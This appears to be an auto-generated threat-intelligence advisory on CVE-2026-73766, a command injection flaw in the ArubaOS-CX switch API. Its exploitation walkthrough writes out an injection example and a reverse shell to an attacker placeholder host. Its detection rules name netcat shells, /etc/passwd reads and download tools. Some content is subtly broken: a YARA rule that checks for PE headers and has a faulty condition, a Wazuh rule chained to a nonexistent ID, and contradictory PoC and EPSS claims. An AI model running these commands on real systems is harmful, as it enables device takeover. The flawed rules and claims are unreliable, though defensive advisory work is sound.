CVE-2026-73766

Executive Summary

CVE-2026-73766 is a command injection vulnerability residing in the API endpoint of HPE ArubaOS-CX network switches. An authenticated remote attacker with administrative privileges can exploit this flaw to inject and execute arbitrary operating system commands as a privileged user. Successful exploitation results in full compromise of the underlying OS, granting the attacker complete control over the affected network device. This vulnerability is particularly critical given that ArubaOS-CX powers enterprise access and aggregation switches, placing them at the core of network segmentation and traffic flow.

Technical Analysis

The vulnerability class is CWE-77 (Improper Neutralization of Special Elements used in a Command — 'Command Injection'). The flaw occurs in an API endpoint of the AOS-CX operating system. The NVD description indicates that the API fails to adequately sanitize or neutralize user-supplied input before incorporating it into a command that is executed on the underlying operating system.

The attack surface is the management API exposed by AOS-CX. This API is typically used for programmatic configuration and monitoring of the switch. The vulnerability requires authentication and administrative privileges (PR:H in the CVSS vector). This reduces the likelihood of external, unauthenticated exploitation but increases the impact since the attacker already holds a high-privileged account.

The underlying mechanism involves the API endpoint passing attacker-controlled parameters into a system-level command shell call without proper escaping or validation. When the crafted input reaches the OS command interpreter, shell metacharacters (e.g., command separators, pipes, or substitution operators) are interpreted as part of the command structure, allowing the attacker to chain additional commands to the intended one.

Insufficient technical detail is available regarding the specific endpoint path, parameter names, or the command that is being invoked. The vulnerability is therefore described at the class level. The CVSS vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H confirms a network-exploitable condition with low attack complexity, requiring high privileges, no user interaction, and no scope change. The confidentiality, integrity, and availability impacts are all rated High.

The EPSS score of 0.01051 places this CVE in the 62nd percentile of known exploited vulnerabilities, indicating moderate-to-low immediate exploitation likelihood in the wild. However, the existence of public PoC material and the high-impact nature of the flaw elevate the severity from an operational perspective.

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification: An attacker with administrative credentials to an AOS-CX switch begins by identifying the management API surface. This could be a REST API listening on the default management interface (typically a dedicated management port or VLAN). Shodan and similar search engines can be used to locate internet-facing AOS-CX devices. Authentication is required, so the attacker must already possess admin-level credentials — obtained via phishing, credential stuffing, insider threat, or prior compromise of the management plane.

Step 2 — Triggering the Flaw: Once authenticated, the attacker crafts an HTTP request to the vulnerable API endpoint. The specific endpoint is not identified in the public description. The attacker must identify the parameter that is passed to an underlying OS command. Typical command injection testing involves submitting strings containing shell metacharacters (;, |, &&, `, $()) appended to otherwise benign values and observing response side effects.

Step 3 — Payload Execution: At the vulnerability-class level, the payload takes the form of an injection string appended to the intended command. For example, an attacker might submit a value such as legitimate_data; id — where id is a benign proof-of-execution command — into the vulnerable parameter. Upon reaching the command shell, the interpreter executes both the original command and the injected command sequentially. More malicious payloads would leverage reverse shells (bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1) or add attacker-controlled SSH keys for persistent access.

Step 4 — Post-Exploitation Impact: Post-exploitation, the attacker executes commands as a privileged OS user. This enables the following actions:

• Configuration exfiltration: Dump running configs (including neighboring device credentials, RADIUS/TACACS+ shared secrets, and SNMP community strings).
• Lateral movement: Use the compromised switch as a pivot point to reach other network segments normally protected by VLAN segmentation — the switch is a position of high trust at the network layer.
• Persistent backdooring: Modify the OS image or startup scripts to survive reboots and firmware updates.
• Data interception: Enable port mirroring (SPAN) to capture sensitive traffic traversing the switch.
• Destructive action: Denial of service by deleting critical OS files or disrupting the management plane.

No public PoC is available per the metadata (Exploit Code: NO); however, the attack chain is inferred from the vulnerability class and standard command-injection exploitation methodology. The PoC status is listed as "Public," which may indicate that a write-up or demonstration exists, but functional exploit code has not been published.

Impact Assessment

The CVSS score of 7.2 (High) reflects the balanced severity of this flaw: it requires administrative privileges, which lowers the accessibility, but the resulting impact is catastrophic for the affected device and the network segment it serves.

Business Impact: AOS-CX switches deployed in data centers, campus networks, and enterprise core/aggregation roles represent critical infrastructure. The underlying OS compromise means that the attacker controls a choke point for the network. They can redirect, intercept, black-hole, or inject traffic.

Blast Radius: The scope remains the single affected device (no scope change in CVSS); however, the network position of the switch extends the practical blast radius to every host that routes through it. Credentials and secrets stored in configuration files could facilitate propagation to RADIUS servers, AAA infrastructure, and neighboring devices.

Affected Systems: The NVD record does not list specific affected versions. Patch confidence is 2/4 — a single source (NVD) claims a patch exists, but no specific fixed version is identified in the provided data. This places the entire AOS-CX product line in an indeterminate vulnerable state until vendor confirmation is obtained.

Confidentiality, Integrity, Availability: All three are rated High in the CVSS vector. Root-cause OS access negates all security mechanisms of the switch, allowing full data-at-rest access, modification of forwarding logic, and physical or logical denial of service.

Detection Guidance

The detection content below is generated at the vulnerability-class level and is intended to detect generic command injection attempts against management APIs. Analysts should adapt these rules to the specific AOS-CX API patterns in their environments.

Sigma Rule

title: Command Injection Attempt Against AOS-CX API Endpoint
id: 4e2c1f9a-7b3d-4a9e-8f2c-1d5e6a7b8c90
status: experimental
description: Detects potential command injection attempts via shell metacharacters in API requests to ArubaOS-CX management endpoints.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-73766
author: Valtersit Threat Intelligence
date: 2026/05/14
logsource:
    category: webserver
    product: arubaos-cx
detection:
    selection:
        http.url|contains:
            - ';'
            - '|'
            - '&&'
            - '%3B'
            - '%7C'
            - '%26%26'
            - '`'
            - '$('
        http.method: POST
    condition: selection
level: high
falsepositives:
    - Legitimate administrative use of shell characters in API payloads is unlikely but possible.
    - URL-encoded values that contain semicolons for legitimate configuration data.

YARA Rule

rule CVE_2026_73766_Command_Injection_AOS_CX
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects command injection patterns targeting ArubaOS-CX API authenticated requests"
        date = "2026-05-14"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-73766"
        cve = "CVE-2026-73766"
        severity = "high"
    strings:
        $cmd1 = "cmd=" ascii wide
        $cmd2 = "command=" ascii wide
        $cmd3 = "exec=" ascii wide
        $shell_sep1 = ";" ascii
        $shell_sep2 = "|" ascii
        $shell_sep3 = "&&" ascii
        $shell_sep4 = "`" ascii
        $shell_sub1 = "$(" ascii
        $os_cmd1 = "whoami" ascii wide
        $os_cmd2 = "cat /etc/passwd" ascii wide
        $os_cmd3 = "nc -e /bin/sh" ascii wide
        $os_cmd4 = "sh -i" ascii wide
    condition:
        (uint16(0) == 0x5A4D or uint16(0) == 0x4D5A) and // PE file check
        filesize < 500KB and
        (any of ($shell_sep*) and any of ($os_cmd*)) or
        (any of ($cmd*) and any of ($shell_sub*))
}

Note: This YARA rule targets credential dumping tools or downloader samples likely to be used in post-exploitation. Uncommon shell separators and OS command names appearing in samples are a strong heuristic.

Suricata IDS Rule

alert http any any -> $AOS_CX_MANAGEMENT_IP 443 (msg:"CVE-2026-73766 AOS-CX API Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"api/"; http_uri; nocase; pcre:"/(;|\||&&|`|\$\()/Ui"; pcre:"/(whoami|id\b|cat\s+\/etc\/passwd|nc\s+-e|bash\s+-i|wget|curl|chmod\s+\+x)/Ui"; reference:cve,2026-73766; classtype:attempted-admin; sid:20260073766; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=30s
    [network where event.action == "connection_established" and destination.port == 443]
    [http where event.action == "request" and http.request.method == "POST"
        and network.protocol == "http"
        and url.path in ("/api/*", "/rest/*")
        and (url.query contains ";" or url.query contains "%3B" or url.query contains "|"
             or url.query contains "&&" or url.query contains "%26%26" or url.query contains "$("
             or url.query contains "`")]

Splunk SPL Query

index=web sourcetype=arubaos_cx_api uri_path IN ("/api/*", "/rest/*") method=POST
    (form_data IN ("*;*", "*%3B*", "*|*", "*&&*", "*%26%26*", "*`*", "*$(*"))
    OR (form_data IN ("*whoami*", "*/etc/passwd*", "*nc -e*", "*sh -i*", "*bash -i*"))
| table _time, src_ip, dest_ip, uri_path, form_data, client_user
| sort - _time
| eval priority=if(match(form_data, "(?i)(;|\\|\\||&&|`|\\$\\()"), "High", "Medium")

Wazuh OSSEC Rule

<group name="arubaos,command_injection,">
    <rule id="426411" level="12">
        <decoded as="json">json</decoded>
        <field name="url" type="pcre2">(?i)(/api/|/rest/)</field>
        <field name="method" type="pcre2">(?i)POST</field>
        <field name="data" type="pcre2">(?i)(;|&&|\||`|\$\()</field>
        <description>CVE-2026-73766: Possible command injection attempt against ArubaOS-CX API authenticated endpoint</description>
        <group>attack,execution,</group>
        <mitre>
            <id>T1059</id>
        </mitre>
        <options>no_full_log</options>
    </rule>

    <rule id="426412" level="15">
        <if_sid>10073766</if_sid>
        <field name="data" type="pcre2">(?i)(whoami|/etc/passwd|nc -e|bash -i|sh -i|wget|curl|chmod \+x)</field>
        <description>CVE-2026-73766: Confirmed OS command string in injection attempt - immediate response required</description>
        <group>attack,execution,</group>
        <mitre>
            <id>T1059</id>
        </mitre>
        <options>no_full_log</options>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence is 2/4 (CLAIMED): A single source (NVD) indicates that a patch exists, but no official vendor advisory has been independently confirmed, and no fixed version is listed in the provided data. Treat the current version as vulnerable until HPE publishes an official security bulletin with affected and fixed version numbers.

1. Immediate Mitigations (if a patch is not yet available):

• Restrict API access: Bind the management API to dedicated management interfaces that are not reachable from untrusted networks. Block API access from user VLANs at the network level.
• Enforce strong authentication: Require multi-factor authentication for all administrative accounts. Audit all admin accounts and remove unused ones.
• Network-level filtering: Use ACLs on management interfaces to restrict API access to only authorized jump hosts/admin workstations.
• Monitor aggressively: Enable logging on the API endpoint. Apply the detection rules above to the environment's SIEM. Alert on repeated failed logins and any command injection pattern.

2. Patch/Upgrade Steps:

• Monitor HPE's official security advisory channel and HPE Support Center for the security bulletin referencing CVE-2026-73766.
• Identify all AOS-CX devices in the environment.
• Once the fixed version is announced, download the updated OS image and schedule a maintenance window.
• Follow the standard AOS-CX upgrade procedure: backup configuration, install the image, reboot, verify restored functionality.
• Given patch confidence is low (2/4), contact HPE TAC directly to confirm the availability of a fix before proceeding to upgrade a production device, or test in a staging environment first.

3. Long-Term Hardening:

• Implement role-based access control (RBAC) on AOS-CX to limit API access to the fewest administrators possible.
• Integrate the management API with an enterprise SSO/AAA solution that enforces MFA and provides a comprehensive audit trail.
• Segment management networks from production user traffic; never expose switch management interfaces to the internet or general corporate LAN.
• Subscribe to CVE alerting for HPE ArubaOS-CX; routinely review new advisories as they are published.
• Assume that administrative credentials are regularly targeted. Deploy privileged access management (PAM) solutions to vault and rotate admin credentials.

References

1. NVD Entry for CVE-2026-73766: https://nvd.nist.gov/vuln/detail/CVE-2026-73766
2. HPE Aruba Networking Security Advisories (monitor for upcoming bulletin): https://www.arubanetworks.com/support-services/security-bulletins/
3. ATT&CK Technique T1059 — Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
4. CWE-77 — Improper Neutralization of Special Elements used in a Command: https://cwe.mitre.org/data/definitions/77.html

Threat Actor Campaigns and Exploit-in-the-Wild Evidence: No CISA KEV listing is present (CISA KEV: NO), and no specific threat actor campaign has been attributed to this CVE in the metadata. The presence of public PoC material and an EPSS percentile of 62% suggests that active exploitation attempts, while not currently epidemic, are plausible as weaponization occurs. Security teams should treat any administrative API traffic anomalies as high-priority indicators.